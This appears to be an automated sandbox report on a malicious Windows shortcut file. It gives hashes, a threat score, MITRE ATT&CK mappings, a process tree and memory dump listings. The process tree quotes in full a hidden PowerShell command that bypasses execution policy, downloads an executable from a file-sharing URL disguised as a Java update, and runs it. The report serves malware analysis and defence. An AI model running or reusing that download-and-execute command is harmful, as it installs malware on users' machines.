e8e6b762a9821d12a4df9a03ba70d24c1b635a83f97487f477ceb7592f4aceee

Analysis

max time kernel
15s
max time network
19s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20/09/2024, 05:26

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General

Target

ecec64ff5ce641a4a1f05deb155d6653_JaffaCakes118.lnk
Size

1KB
MD5

ecec64ff5ce641a4a1f05deb155d6653
SHA1

667b41d91c36d624fb0d7d08c19eb973af38d67b
SHA256

e8e6b762a9821d12a4df9a03ba70d24c1b635a83f97487f477ceb7592f4aceee
SHA512

ef9aba73378d49be846a435de3d280fc239710545e3762b48920ee7a8af2508907ef84cd29670d3622895214f1a2f852df41d4372dd23d00d20e7d3ec1399f58

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://fs05n4.sendspace.com/dl/a948bd21e0b879fdb7c01047131595ff/59b09db20625e3ed/ehlbqu/Server.exe

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2876	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2876	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2876	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 880 wrote to memory of 2876	880	cmd.exe	31
PID 880 wrote to memory of 2876	880	cmd.exe	31
PID 880 wrote to memory of 2876	880	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ecec64ff5ce641a4a1f05deb155d6653_JaffaCakes118.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://fs05n4.sendspace.com/dl/a948bd21e0b879fdb7c01047131595ff/59b09db20625e3ed/ehlbqu/Server.exe','C:\Users\Admin\AppData\Roaming\AtualizaoJava');Start-Process 'C:\Users\Admin\AppData\Roaming\AtualizaoJava'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2876-38-0x000007FEF60BE000-0x000007FEF60BF000-memory.dmp

Filesize
4KB

Download
memory/2876-40-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-39-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2876-42-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-41-0x0000000002230000-0x0000000002238000-memory.dmp

Filesize
32KB

Download
memory/2876-43-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-44-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

Filesize
9.6MB

Download
memory/2876-45-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

Filesize
9.6MB

Download